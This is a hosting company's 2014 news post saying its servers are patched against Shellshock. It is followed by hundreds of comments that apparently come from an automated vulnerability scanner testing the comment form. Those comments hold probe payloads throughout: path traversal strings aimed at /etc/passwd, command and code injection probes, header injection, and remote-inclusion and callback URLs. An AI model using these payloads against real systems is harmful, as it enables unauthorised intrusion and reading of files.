RSS Feed
News
Sep
27
Posted by Daniel Billing on 27 September 2014 11:27 PM

On September 24, 2014, a GNU Bash vulnerability, referred to as Shellshock or the "Bash Bug", was disclosed. In short, the vulnerability allows remote attackers to execute arbitrary code given certain conditions, by passing strings of code following environment variable assignments. Because of Bash's ubiquitous status amongst Linux, BSD, and Mac OS X distributions, many computers are vulnerable to Shellshock; all unpatched Bash versions between 1.14 through 4.3 (i.e. all releases until now) are at risk.

None of our servers are affected by this bug/vulnerability because we have updated all the servers so they are now protected.


Comments (591)
avbnbimp
17 February 2015 01:36 PM
1
vvaihsao
17 February 2015 02:44 PM
1
vvaihsao
17 February 2015 02:44 PM
1
hhudlctg
17 February 2015 02:47 PM
1
xxbtufai
17 February 2015 02:48 PM
1
xxbtufai
17 February 2015 02:48 PM
1
xxbtufai
17 February 2015 02:49 PM
1
dvcieauw
17 February 2015 02:50 PM
1
dvcieauw
17 February 2015 02:51 PM
1
dvcieauw
17 February 2015 02:51 PM
1
dvcieauw
17 February 2015 02:51 PM
1
dvcieauw
17 February 2015 02:52 PM
1
dvcieauw
17 February 2015 02:52 PM
1
dvcieauw
17 February 2015 02:52 PM
1
iqqntwix
17 February 2015 02:52 PM
1
iqqntwix
17 February 2015 02:53 PM
${9999175+10000068}
iqqntwix
17 February 2015 02:54 PM
1
pbcbdgxx
17 February 2015 02:54 PM
1
pbcbdgxx
17 February 2015 02:54 PM
1
pbcbdgxx
17 February 2015 02:54 PM
1
pbcbdgxx
17 February 2015 02:54 PM
1
pbcbdgxx
17 February 2015 02:54 PM
1
pbcbdgxx
17 February 2015 02:54 PM
1
xxbtufai
17 February 2015 02:55 PM

SomeCustomInjectedHeader:injected_by_wvs
xxbtufai
17 February 2015 02:55 PM

SomeCustomInjectedHeader:injected_by_wvs
xxbtufai
17 February 2015 02:55 PM

SomeCustomInjectedHeader:injected_by_wvs
hhudlctg
17 February 2015 02:55 PM
1
hhudlctg
17 February 2015 02:55 PM
1
hhudlctg
17 February 2015 02:55 PM
1
hhudlctg
17 February 2015 02:56 PM
1
${9999921+10000040}
17 February 2015 02:57 PM
1
dvcieauw
17 February 2015 02:57 PM
response.write(9748714*9885565)
dvcieauw
17 February 2015 02:57 PM
'+response.write(9748714*9885565)+'
dvcieauw
17 February 2015 02:57 PM
"+response.write(9748714*9885565)+"
iqqntwix
17 February 2015 03:04 PM
1
iqqntwix
17 February 2015 03:04 PM
1
iqqntwix
17 February 2015 03:04 PM
1
iqqntwix
17 February 2015 03:04 PM
1
iqqntwix
17 February 2015 03:06 PM
1
xxbtufai
17 February 2015 03:06 PM
1
hhudlctg
17 February 2015 03:06 PM
1
xxbtufai
17 February 2015 03:06 PM
1
hhudlctg
17 February 2015 03:06 PM
1
xxbtufai
17 February 2015 03:07 PM
1
hhudlctg
17 February 2015 03:07 PM
1
hhudlctg
17 February 2015 03:07 PM
1
hhudlctg
17 February 2015 03:07 PM
1
hhudlctg
17 February 2015 03:07 PM
1
hhudlctg
17 February 2015 03:07 PM
1
hhudlctg
17 February 2015 03:07 PM
1
dvcieauw
17 February 2015 03:07 PM
1
dvcieauw
17 February 2015 03:07 PM
1
dvcieauw
17 February 2015 03:07 PM
1
hhudlctg
17 February 2015 03:07 PM
1
hhudlctg
17 February 2015 03:07 PM
1
hhudlctg
17 February 2015 03:07 PM
1
hhudlctg
17 February 2015 03:07 PM
1
pbcbdgxx
17 February 2015 03:08 PM
set|set&set
pbcbdgxx
17 February 2015 03:08 PM
'set|set&set'
pbcbdgxx
17 February 2015 03:08 PM
"set|set&set"
pbcbdgxx
17 February 2015 03:08 PM

set|set&set
pbcbdgxx
17 February 2015 03:08 PM
`set|set&set`
pbcbdgxx
17 February 2015 03:08 PM
;set|set&set;
SomeCustomInjectedHeader:injected_by_wvs
17 February 2015 03:08 PM
1
SomeCustomInjectedHeader:injected_by_wvs
17 February 2015 03:08 PM
1
SomeCustomInjectedHeader:injected_by_wvs
17 February 2015 03:08 PM
1
response.write(9223477*9747020)
17 February 2015 03:09 PM
1
'+response.write(9223477*9747020)+'
17 February 2015 03:09 PM
1
"+response.write(9223477*9747020)+"
17 February 2015 03:09 PM
1
uifmhybh
17 February 2015 03:10 PM
1
oxvqtkvh
17 February 2015 03:10 PM
1&n976717=v912042
wsohbwui
17 February 2015 03:10 PM
1
RVJEUVNLN0Y=
17 February 2015 03:10 PM
1
lyydivkp&n901717=v934953
17 February 2015 03:10 PM
1
jqhqvubg
17 February 2015 03:10 PM
1
qgltvpfx
17 February 2015 03:10 PM
1
fnruwsxi
17 February 2015 03:10 PM
1
fnruwsxi
17 February 2015 03:10 PM
1
fnruwsxi
17 February 2015 03:10 PM
1
fnruwsxi
17 February 2015 03:10 PM
1
fnruwsxi
17 February 2015 03:10 PM
1
xxbtufai
17 February 2015 03:10 PM
1
xxbtufai
17 February 2015 03:10 PM
1
xxbtufai
17 February 2015 03:10 PM
1
iojtcfyp
17 February 2015 03:10 PM
1
dvcieauw
17 February 2015 03:11 PM
1
dvcieauw
17 February 2015 03:11 PM
1
dvcieauw
17 February 2015 03:11 PM
1
pbcbdgxx
17 February 2015 03:12 PM
1
hltdumjc
17 February 2015 03:12 PM
1
pbcbdgxx
17 February 2015 03:12 PM
1
hltdumjc
17 February 2015 03:12 PM
1
pbcbdgxx
17 February 2015 03:12 PM
1
pbcbdgxx
17 February 2015 03:12 PM
1
pbcbdgxx
17 February 2015 03:12 PM
1
hltdumjc
17 February 2015 03:12 PM
1
pbcbdgxx
17 February 2015 03:12 PM
1
hltdumjc
17 February 2015 03:12 PM
1
hltdumjc
17 February 2015 03:12 PM
1
hltdumjc
17 February 2015 03:12 PM
1
hltdumjc
17 February 2015 03:12 PM
1
hltdumjc
17 February 2015 03:12 PM
1
xxbtufai
17 February 2015 03:12 PM
1
hltdumjc
17 February 2015 03:12 PM
1
hltdumjc
17 February 2015 03:12 PM
1
xxbtufai
17 February 2015 03:12 PM
1
hltdumjc
17 February 2015 03:12 PM
1
hltdumjc
17 February 2015 03:12 PM
1
xxbtufai
17 February 2015 03:12 PM
1
hltdumjc
17 February 2015 03:12 PM
1
hltdumjc
17 February 2015 03:12 PM
1
jhcqejik
17 February 2015 03:12 PM
1
jhcqejik
17 February 2015 03:12 PM
1
jhcqejik
17 February 2015 03:12 PM
1
hltdumjc
17 February 2015 03:12 PM
1
hltdumjc
17 February 2015 03:12 PM
1
xrlleklx
17 February 2015 03:12 PM
1
xrlleklx
17 February 2015 03:12 PM
1
dvcieauw
17 February 2015 03:13 PM
1
dvcieauw
17 February 2015 03:13 PM
1
dvcieauw
17 February 2015 03:13 PM
1
fnruwsxi
17 February 2015 03:13 PM
http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
vvaihsao
17 February 2015 03:13 PM
1
fnruwsxi
17 February 2015 03:13 PM
1some_inexistent_file_with_long_name%00.jpg
vvaihsao
17 February 2015 03:13 PM
1
fnruwsxi
17 February 2015 03:13 PM
Http://testasp.vulnweb.com/t/fit.txt
vvaihsao
17 February 2015 03:13 PM
1
fnruwsxi
17 February 2015 03:13 PM
http://testasp.vulnweb.com/t/fit.txt%3F.jpg
vvaihsao
17 February 2015 03:13 PM
1
fnruwsxi
17 February 2015 03:13 PM
testasp.vulnweb.com
vvaihsao
17 February 2015 03:13 PM
1
vvaihsao
17 February 2015 03:14 PM
1
vvaihsao
17 February 2015 03:14 PM
1
vvaihsao
17 February 2015 03:14 PM
1
vvaihsao
17 February 2015 03:14 PM
1
xrlleklx
17 February 2015 03:14 PM
'"()
vvaihsao
17 February 2015 03:14 PM
1
vvaihsao
17 February 2015 03:14 PM
1
vvaihsao
17 February 2015 03:14 PM
1
vvaihsao
17 February 2015 03:14 PM
1
vvaihsao
17 February 2015 03:14 PM
1
vvaihsao
17 February 2015 03:14 PM
1
vvaihsao
17 February 2015 03:14 PM
1
vvaihsao
17 February 2015 03:14 PM
1
vvaihsao
17 February 2015 03:14 PM
1
vvaihsao
17 February 2015 03:14 PM
1
vvaihsao
17 February 2015 03:14 PM
1
vvaihsao
17 February 2015 03:14 PM
1
jhcqejik
17 February 2015 03:14 PM
)
jhcqejik
17 February 2015 03:14 PM
!(()&&!|*|*|
jhcqejik
17 February 2015 03:14 PM
^(#$!@#$)(()))******
vvaihsao
17 February 2015 03:14 PM
1
vvaihsao
17 February 2015 03:14 PM
1
vvaihsao
17 February 2015 03:14 PM
1
vvaihsao
17 February 2015 03:14 PM
1
vvaihsao
17 February 2015 03:14 PM
1
vvaihsao
17 February 2015 03:14 PM
1
vvaihsao
17 February 2015 03:14 PM
1
pywxufol
17 February 2015 03:14 PM
1
vvaihsao
17 February 2015 03:14 PM
1
xrlleklx
17 February 2015 03:15 PM
1
xrlleklx
17 February 2015 03:15 PM
1
pywxufol
17 February 2015 03:15 PM
http://testasp.vulnweb.com/t/xss.html?%00.jpg
uxwemxfq
17 February 2015 03:15 PM
1
set|set&set
17 February 2015 03:16 PM
1
'set|set&set'
17 February 2015 03:16 PM
1
"set|set&set"
17 February 2015 03:16 PM
1
set|set&set
17 February 2015 03:16 PM
1
`set|set&set`
17 February 2015 03:16 PM
1
pywxufol
17 February 2015 03:16 PM
1
;set|set&set;
17 February 2015 03:16 PM
1
'"()
17 February 2015 03:16 PM
1
jhcqejik
17 February 2015 03:16 PM
1
jhcqejik
17 February 2015 03:16 PM
1
jhcqejik
17 February 2015 03:17 PM
1
http://testasp.vulnweb.com/t/xss.html?%00.jpg
17 February 2015 03:17 PM
1
fnruwsxi
17 February 2015 03:17 PM
1
fnruwsxi
17 February 2015 03:17 PM
1
fnruwsxi
17 February 2015 03:17 PM
1
fnruwsxi
17 February 2015 03:17 PM
1
ruasyyaa
17 February 2015 03:17 PM
1
fnruwsxi
17 February 2015 03:17 PM
1
ruasyyaa
17 February 2015 03:17 PM
1
pywxufol
17 February 2015 03:17 PM
1
ruasyyaa
17 February 2015 03:17 PM
1
ruasyyaa
17 February 2015 03:17 PM
1
ruasyyaa
17 February 2015 03:17 PM
1
xrlleklx
17 February 2015 03:17 PM
1
xrlleklx
17 February 2015 03:18 PM
1
uxwemxfq
17 February 2015 03:18 PM
1
uxwemxfq
17 February 2015 03:18 PM
1
uxwemxfq
17 February 2015 03:18 PM
1
pywxufol
17 February 2015 03:18 PM
1
uxwemxfq
17 February 2015 03:18 PM
1
xrlleklx
17 February 2015 03:19 PM
1
)
17 February 2015 03:19 PM
1
xrlleklx
17 February 2015 03:19 PM
1
!(()&&!|*|*|
17 February 2015 03:19 PM
1
^(#$!@#$)(()))******
17 February 2015 03:19 PM
1
lkvfbqcd
17 February 2015 03:20 PM
1
pbcbdgxx
17 February 2015 03:20 PM
1
pbcbdgxx
17 February 2015 03:20 PM
1
neqomqtd
17 February 2015 03:20 PM
1
pbcbdgxx
17 February 2015 03:20 PM
1
pbcbdgxx
17 February 2015 03:20 PM
1
pbcbdgxx
17 February 2015 03:20 PM
1
pbcbdgxx
17 February 2015 03:20 PM
1
lkvfbqcd
17 February 2015 03:21 PM
http://hitx1eENpIsrF.bxss.me/
uxwemxfq
17 February 2015 03:21 PM
1
http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
17 February 2015 03:21 PM
1
uxwemxfq
17 February 2015 03:21 PM
announcements.php
uxwemxfq
17 February 2015 03:21 PM
announcements.php
uxwemxfq
17 February 2015 03:21 PM
announcements.php/.
1some_inexistent_file_with_long_name%00.jpg
17 February 2015 03:21 PM
1
Http://testasp.vulnweb.com/t/fit.txt
17 February 2015 03:21 PM
1
http://testasp.vulnweb.com/t/fit.txt%3F.jpg
17 February 2015 03:21 PM
1
testasp.vulnweb.com
17 February 2015 03:21 PM
1
lkvfbqcd
17 February 2015 03:21 PM
1
jhcqejik
17 February 2015 03:21 PM
1
jhcqejik
17 February 2015 03:21 PM
1
ruasyyaa
17 February 2015 03:22 PM
;print(md5(acunetix_wvs_security_test));
ruasyyaa
17 February 2015 03:22 PM
';print(md5(acunetix_wvs_security_test));$a='
jhcqejik
17 February 2015 03:22 PM
1
ruasyyaa
17 February 2015 03:22 PM
";print(md5(acunetix_wvs_security_test));$a="
ruasyyaa
17 February 2015 03:22 PM
${@print(md5(acunetix_wvs_security_test))}
ruasyyaa
17 February 2015 03:22 PM
${@print(md5(acunetix_wvs_security_test))}\
http://hitJ4Oh0mGM9v.bxss.me/
17 February 2015 03:22 PM
1
qgsuxdjc
17 February 2015 11:23 PM
1
aikhmued
18 February 2015 12:11 AM
1
aikhmued
18 February 2015 12:11 AM
1
mqbsxuam
18 February 2015 12:12 AM
1
qxtqesam
18 February 2015 12:13 AM
1
qxtqesam
18 February 2015 12:13 AM
1
qxtqesam
18 February 2015 12:13 AM
1
wqybqyfy
18 February 2015 12:13 AM
1
gmoikghf
18 February 2015 12:13 AM
1
wqybqyfy
18 February 2015 12:14 AM
1
wqybqyfy
18 February 2015 12:14 AM
1
gmoikghf
18 February 2015 12:14 AM
${10000492+9999737}
mqbsxuam
18 February 2015 12:15 AM
1
mqbsxuam
18 February 2015 12:15 AM
1
mqbsxuam
18 February 2015 12:15 AM
1
mqbsxuam
18 February 2015 12:15 AM
1
gmoikghf
18 February 2015 12:16 AM
1
qxtqesam
18 February 2015 12:16 AM
response.write(9959329*9656183)
lysbsjdn
18 February 2015 12:16 AM
1
qxtqesam
18 February 2015 12:16 AM
'+response.write(9959329*9656183)+'
qxtqesam
18 February 2015 12:16 AM
"+response.write(9959329*9656183)+"
lysbsjdn
18 February 2015 12:16 AM
1
lysbsjdn
18 February 2015 12:16 AM
1
lysbsjdn
18 February 2015 12:17 AM
1
lysbsjdn
18 February 2015 12:17 AM
1
lysbsjdn
18 February 2015 12:17 AM
1
${10000171+10000268}
18 February 2015 12:17 AM
1
wqybqyfy
18 February 2015 12:17 AM

SomeCustomInjectedHeader:injected_by_wvs
wqybqyfy
18 February 2015 12:17 AM

SomeCustomInjectedHeader:injected_by_wvs
wqybqyfy
18 February 2015 12:17 AM

SomeCustomInjectedHeader:injected_by_wvs
gmoikghf
18 February 2015 12:17 AM
1
mqbsxuam
18 February 2015 12:18 AM
1
mqbsxuam
18 February 2015 12:18 AM
1
mqbsxuam
18 February 2015 12:18 AM
1
mqbsxuam
18 February 2015 12:18 AM
1
gmoikghf
18 February 2015 12:18 AM
1
mqbsxuam
18 February 2015 12:18 AM
1
mqbsxuam
18 February 2015 12:18 AM
1
mqbsxuam
18 February 2015 12:18 AM
1
mqbsxuam
18 February 2015 12:18 AM
1
qxtqesam
18 February 2015 12:18 AM
1
mqbsxuam
18 February 2015 12:18 AM
1
qxtqesam
18 February 2015 12:18 AM
1
mqbsxuam
18 February 2015 12:18 AM
1
qxtqesam
18 February 2015 12:18 AM
1
mqbsxuam
18 February 2015 12:18 AM
1
mqbsxuam
18 February 2015 12:18 AM
1
wqybqyfy
18 February 2015 12:19 AM
1
wqybqyfy
18 February 2015 12:19 AM
1
wqybqyfy
18 February 2015 12:19 AM
1
ZUU5ajkwemc=
18 February 2015 12:20 AM
1
response.write(9887239*9062064)
18 February 2015 12:20 AM
1
'+response.write(9887239*9062064)+'
18 February 2015 12:20 AM
1
tqjqiuer
18 February 2015 12:20 AM
1
"+response.write(9887239*9062064)+"
18 February 2015 12:20 AM
1
xxuvfxqa
18 February 2015 12:20 AM
1&n962573=v935086
tjvpjqnu
18 February 2015 12:20 AM
1
pnlbaojg&n988822=v938136
18 February 2015 12:20 AM
1
ykwpvnwk
18 February 2015 12:20 AM
1
ssndgifj
18 February 2015 12:21 AM
1
mgjhtvcs
18 February 2015 12:21 AM
1
lysbsjdn
18 February 2015 12:21 AM
set|set&set
lysbsjdn
18 February 2015 12:21 AM
'set|set&set'
lysbsjdn
18 February 2015 12:21 AM
"set|set&set"
lysbsjdn
18 February 2015 12:21 AM

set|set&set
lysbsjdn
18 February 2015 12:21 AM
`set|set&set`
lysbsjdn
18 February 2015 12:21 AM
;set|set&set;
SomeCustomInjectedHeader:injected_by_wvs
18 February 2015 12:21 AM
1
SomeCustomInjectedHeader:injected_by_wvs
18 February 2015 12:21 AM
1
SomeCustomInjectedHeader:injected_by_wvs
18 February 2015 12:21 AM
1
qxtqesam
18 February 2015 12:22 AM
1
qxtqesam
18 February 2015 12:22 AM
1
qxtqesam
18 February 2015 12:22 AM
1
rwndvqls
18 February 2015 12:23 AM
1
rwndvqls
18 February 2015 12:23 AM
1
rwndvqls
18 February 2015 12:23 AM
1
deeanwdo
18 February 2015 12:23 AM
1
deeanwdo
18 February 2015 12:23 AM
1
deeanwdo
18 February 2015 12:23 AM
1
deeanwdo
18 February 2015 12:23 AM
1
deeanwdo
18 February 2015 12:23 AM
1
xpslsgns
18 February 2015 12:23 AM
1
xpslsgns
18 February 2015 12:23 AM
1
wqybqyfy
18 February 2015 12:23 AM
1
wqybqyfy
18 February 2015 12:23 AM
1
wqybqyfy
18 February 2015 12:23 AM
1
qxtqesam
18 February 2015 12:24 AM
1
qxtqesam
18 February 2015 12:24 AM
1
qxtqesam
18 February 2015 12:24 AM
1
xpslsgns
18 February 2015 12:25 AM
'"()
rwndvqls
18 February 2015 12:25 AM
)
rwndvqls
18 February 2015 12:25 AM
!(()&&!|*|*|
rwndvqls
18 February 2015 12:25 AM
^(#$!@#$)(()))******
lysbsjdn
18 February 2015 12:25 AM
1
lysbsjdn
18 February 2015 12:25 AM
1
cvolocgy
18 February 2015 12:26 AM
1
lysbsjdn
18 February 2015 12:26 AM
1
cvolocgy
18 February 2015 12:26 AM
1
lysbsjdn
18 February 2015 12:26 AM
1
lysbsjdn
18 February 2015 12:26 AM
1
cvolocgy
18 February 2015 12:26 AM
1
cvolocgy
18 February 2015 12:26 AM
1
cvolocgy
18 February 2015 12:26 AM
1
cvolocgy
18 February 2015 12:26 AM
1
cvolocgy
18 February 2015 12:26 AM
1
lysbsjdn
18 February 2015 12:26 AM
1
cvolocgy
18 February 2015 12:26 AM
1
wqybqyfy
18 February 2015 12:26 AM
1
cvolocgy
18 February 2015 12:26 AM
1
wqybqyfy
18 February 2015 12:26 AM
1
cvolocgy
18 February 2015 12:26 AM
1
wqybqyfy
18 February 2015 12:26 AM
1
cvolocgy
18 February 2015 12:26 AM
1
cvolocgy
18 February 2015 12:26 AM
1
cvolocgy
18 February 2015 12:26 AM
1
cvolocgy
18 February 2015 12:26 AM
1
cvolocgy
18 February 2015 12:26 AM
1
cvolocgy
18 February 2015 12:26 AM
1
deeanwdo
18 February 2015 12:27 AM
http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
deeanwdo
18 February 2015 12:27 AM
1some_inexistent_file_with_long_name%00.jpg
xpslsgns
18 February 2015 12:27 AM
1
deeanwdo
18 February 2015 12:27 AM
Http://testasp.vulnweb.com/t/fit.txt
xpslsgns
18 February 2015 12:27 AM
1
deeanwdo
18 February 2015 12:27 AM
http://testasp.vulnweb.com/t/fit.txt%3F.jpg
deeanwdo
18 February 2015 12:27 AM
testasp.vulnweb.com
rwndvqls
18 February 2015 12:27 AM
1
rvejdxki
18 February 2015 12:27 AM
1
rwndvqls
18 February 2015 12:27 AM
1
rwndvqls
18 February 2015 12:27 AM
1
rvejdxki
18 February 2015 12:28 AM
http://testasp.vulnweb.com/t/xss.html?%00.jpg
qiarryou
18 February 2015 12:28 AM
1
'"()
18 February 2015 12:28 AM
1
twwvmwjj
18 February 2015 12:28 AM
1
aikhmued
18 February 2015 12:28 AM
1
aikhmued
18 February 2015 12:29 AM
1
aikhmued
18 February 2015 12:29 AM
1
twwvmwjj
18 February 2015 12:29 AM
1
aikhmued
18 February 2015 12:29 AM
1
twwvmwjj
18 February 2015 12:29 AM
1
aikhmued
18 February 2015 12:29 AM
1
twwvmwjj
18 February 2015 12:29 AM
1
aikhmued
18 February 2015 12:29 AM
1
twwvmwjj
18 February 2015 12:29 AM
1
rvejdxki
18 February 2015 12:29 AM
1
aikhmued
18 February 2015 12:29 AM
1
aikhmued
18 February 2015 12:29 AM
1
aikhmued
18 February 2015 12:29 AM
1
aikhmued
18 February 2015 12:29 AM
1
aikhmued
18 February 2015 12:29 AM
1
aikhmued
18 February 2015 12:29 AM
1
aikhmued
18 February 2015 12:29 AM
1
aikhmued
18 February 2015 12:29 AM
1
aikhmued
18 February 2015 12:29 AM
1
http://testasp.vulnweb.com/t/xss.html?%00.jpg
18 February 2015 12:29 AM
1
aikhmued
18 February 2015 12:29 AM
1
aikhmued
18 February 2015 12:29 AM
1
aikhmued
18 February 2015 12:29 AM
1
xpslsgns
18 February 2015 12:29 AM
1
aikhmued
18 February 2015 12:30 AM
1
xpslsgns
18 February 2015 12:30 AM
1
aikhmued
18 February 2015 12:30 AM
1
aikhmued
18 February 2015 12:30 AM
1
aikhmued
18 February 2015 12:30 AM
1
aikhmued
18 February 2015 12:30 AM
1
aikhmued
18 February 2015 12:30 AM
1
aikhmued
18 February 2015 12:30 AM
1
aikhmued
18 February 2015 12:30 AM
1
)
18 February 2015 12:30 AM
1
!(()&&!|*|*|
18 February 2015 12:30 AM
1
^(#$!@#$)(()))******
18 February 2015 12:30 AM
1
aikhmued
18 February 2015 12:30 AM
1
rvejdxki
18 February 2015 12:30 AM
1
set|set&set
18 February 2015 12:30 AM
1
'set|set&set'
18 February 2015 12:30 AM
1
"set|set&set"
18 February 2015 12:30 AM
1
set|set&set
18 February 2015 12:30 AM
1
`set|set&set`
18 February 2015 12:30 AM
1
;set|set&set;
18 February 2015 12:30 AM
1
deeanwdo
18 February 2015 12:31 AM
1
deeanwdo
18 February 2015 12:31 AM
1
deeanwdo
18 February 2015 12:31 AM
1
deeanwdo
18 February 2015 12:31 AM
1
deeanwdo
18 February 2015 12:31 AM
1
rvejdxki
18 February 2015 12:31 AM
1
xpslsgns
18 February 2015 12:31 AM
1
xpslsgns
18 February 2015 12:31 AM
1
qiarryou
18 February 2015 12:32 AM
1
qiarryou
18 February 2015 12:32 AM
1
qiarryou
18 February 2015 12:32 AM
1
qiarryou
18 February 2015 12:32 AM
1
rwndvqls
18 February 2015 12:32 AM
1
rwndvqls
18 February 2015 12:33 AM
1
rwndvqls
18 February 2015 12:33 AM
1
jgndpkpn
18 February 2015 12:33 AM
1
piahpgin
18 February 2015 12:33 AM
1
twwvmwjj
18 February 2015 12:33 AM
;print(md5(acunetix_wvs_security_test));
twwvmwjj
18 February 2015 12:33 AM
';print(md5(acunetix_wvs_security_test));$a='
twwvmwjj
18 February 2015 12:33 AM
";print(md5(acunetix_wvs_security_test));$a="
twwvmwjj
18 February 2015 12:33 AM
${@print(md5(acunetix_wvs_security_test))}
twwvmwjj
18 February 2015 12:33 AM
${@print(md5(acunetix_wvs_security_test))}\
piahpgin
18 February 2015 12:34 AM
http://hitDCH3zBwRn4.bxss.me/
piahpgin
18 February 2015 12:35 AM
1
lysbsjdn
18 February 2015 12:35 AM
1
lysbsjdn
18 February 2015 12:35 AM
1
lysbsjdn
18 February 2015 12:35 AM
1
lysbsjdn
18 February 2015 12:35 AM
1
rwndvqls
18 February 2015 12:35 AM
1
lysbsjdn
18 February 2015 12:35 AM
1
rwndvqls
18 February 2015 12:35 AM
1
rwndvqls
18 February 2015 12:35 AM
1
http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
18 February 2015 12:35 AM
1
lysbsjdn
18 February 2015 12:35 AM
1
1some_inexistent_file_with_long_name%00.jpg
18 February 2015 12:35 AM
1
qiarryou
18 February 2015 12:35 AM
1
Http://testasp.vulnweb.com/t/fit.txt
18 February 2015 12:35 AM
1
qiarryou
18 February 2015 12:35 AM
announcements.php
http://testasp.vulnweb.com/t/fit.txt%3F.jpg
18 February 2015 12:35 AM
1
qiarryou
18 February 2015 12:35 AM
announcements.php
qiarryou
18 February 2015 12:35 AM
announcements.php/.
testasp.vulnweb.com
18 February 2015 12:35 AM
1
http://hitBSuiCsUZMv.bxss.me/
18 February 2015 12:36 AM
1
piahpgin
18 February 2015 12:36 AM
1
twwvmwjj
18 February 2015 12:37 AM
1
twwvmwjj
18 February 2015 12:37 AM
1
twwvmwjj
18 February 2015 12:37 AM
1
twwvmwjj
18 February 2015 12:37 AM
1
twwvmwjj
18 February 2015 12:37 AM
1
piahpgin
18 February 2015 12:37 AM
1
xuwgshll
18 February 2015 12:38 AM
1
fckiptqn
18 February 2015 12:38 AM
1
qiarryou
18 February 2015 12:38 AM
1
qiarryou
18 February 2015 12:38 AM
1
qiarryou
18 February 2015 12:38 AM
1
qiarryou
18 February 2015 12:38 AM
1
fckiptqn
18 February 2015 12:39 AM
www.vulnweb.com
fckiptqn
18 February 2015 12:39 AM
http://www.vulnweb.com
fckiptqn
18 February 2015 12:39 AM
//www.vulnweb.com
fckiptqn
18 February 2015 12:39 AM
/\www.vulnweb.com
xuwgshll
18 February 2015 12:39 AM
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
cvolocgy
18 February 2015 12:39 AM
../../../../../../../../../../etc/passwd
cvolocgy
18 February 2015 12:39 AM
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
cvolocgy
18 February 2015 12:39 AM
../../../../../../../../../../etc/passwd%00.jpg
cvolocgy
18 February 2015 12:39 AM
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAucG5n
cvolocgy
18 February 2015 12:39 AM
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
cvolocgy
18 February 2015 12:39 AM
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
cvolocgy
18 February 2015 12:39 AM
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
cvolocgy
18 February 2015 12:40 AM
/etc/passwd
cvolocgy
18 February 2015 12:40 AM
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
cvolocgy
18 February 2015 12:40 AM
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
cvolocgy
18 February 2015 12:40 AM
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
xuwgshll
18 February 2015 12:40 AM
1
cvolocgy
18 February 2015 12:40 AM
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
cvolocgy
18 February 2015 12:40 AM
file:///etc/passwd
cvolocgy
18 February 2015 12:40 AM
/\../\../\../\../\../\../\../etc/passwd
deeanwdo
18 February 2015 12:40 AM
1
cvolocgy
18 February 2015 12:40 AM
WEB-INF/web.xml
wyeufbra
18 February 2015 12:40 AM
1
lysbsjdn
18 February 2015 12:40 AM
1
deeanwdo
18 February 2015 12:40 AM
1
wyeufbra
18 February 2015 12:40 AM
1
cvolocgy
18 February 2015 12:40 AM
WEB-INF\web.xml
lysbsjdn
18 February 2015 12:40 AM
1
deeanwdo
18 February 2015 12:40 AM
1
lysbsjdn
18 February 2015 12:40 AM
1
deeanwdo
18 February 2015 12:40 AM
1
lysbsjdn
18 February 2015 12:40 AM
1
lysbsjdn
18 February 2015 12:40 AM
1
jgndpkpn
18 February 2015 12:40 AM
1
lysbsjdn
18 February 2015 12:40 AM
1
jgndpkpn
18 February 2015 12:41 AM
1
jgndpkpn
18 February 2015 12:41 AM
1
jgndpkpn
18 February 2015 12:41 AM
1
jgndpkpn
18 February 2015 12:41 AM
1
jgndpkpn
18 February 2015 12:41 AM
1
jgndpkpn
18 February 2015 12:41 AM
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
18 February 2015 12:41 AM
1
jgndpkpn
18 February 2015 12:41 AM
1
jgndpkpn
18 February 2015 12:41 AM
1
jgndpkpn
18 February 2015 12:41 AM
1
;print(md5(acunetix_wvs_security_test));
18 February 2015 12:41 AM
1
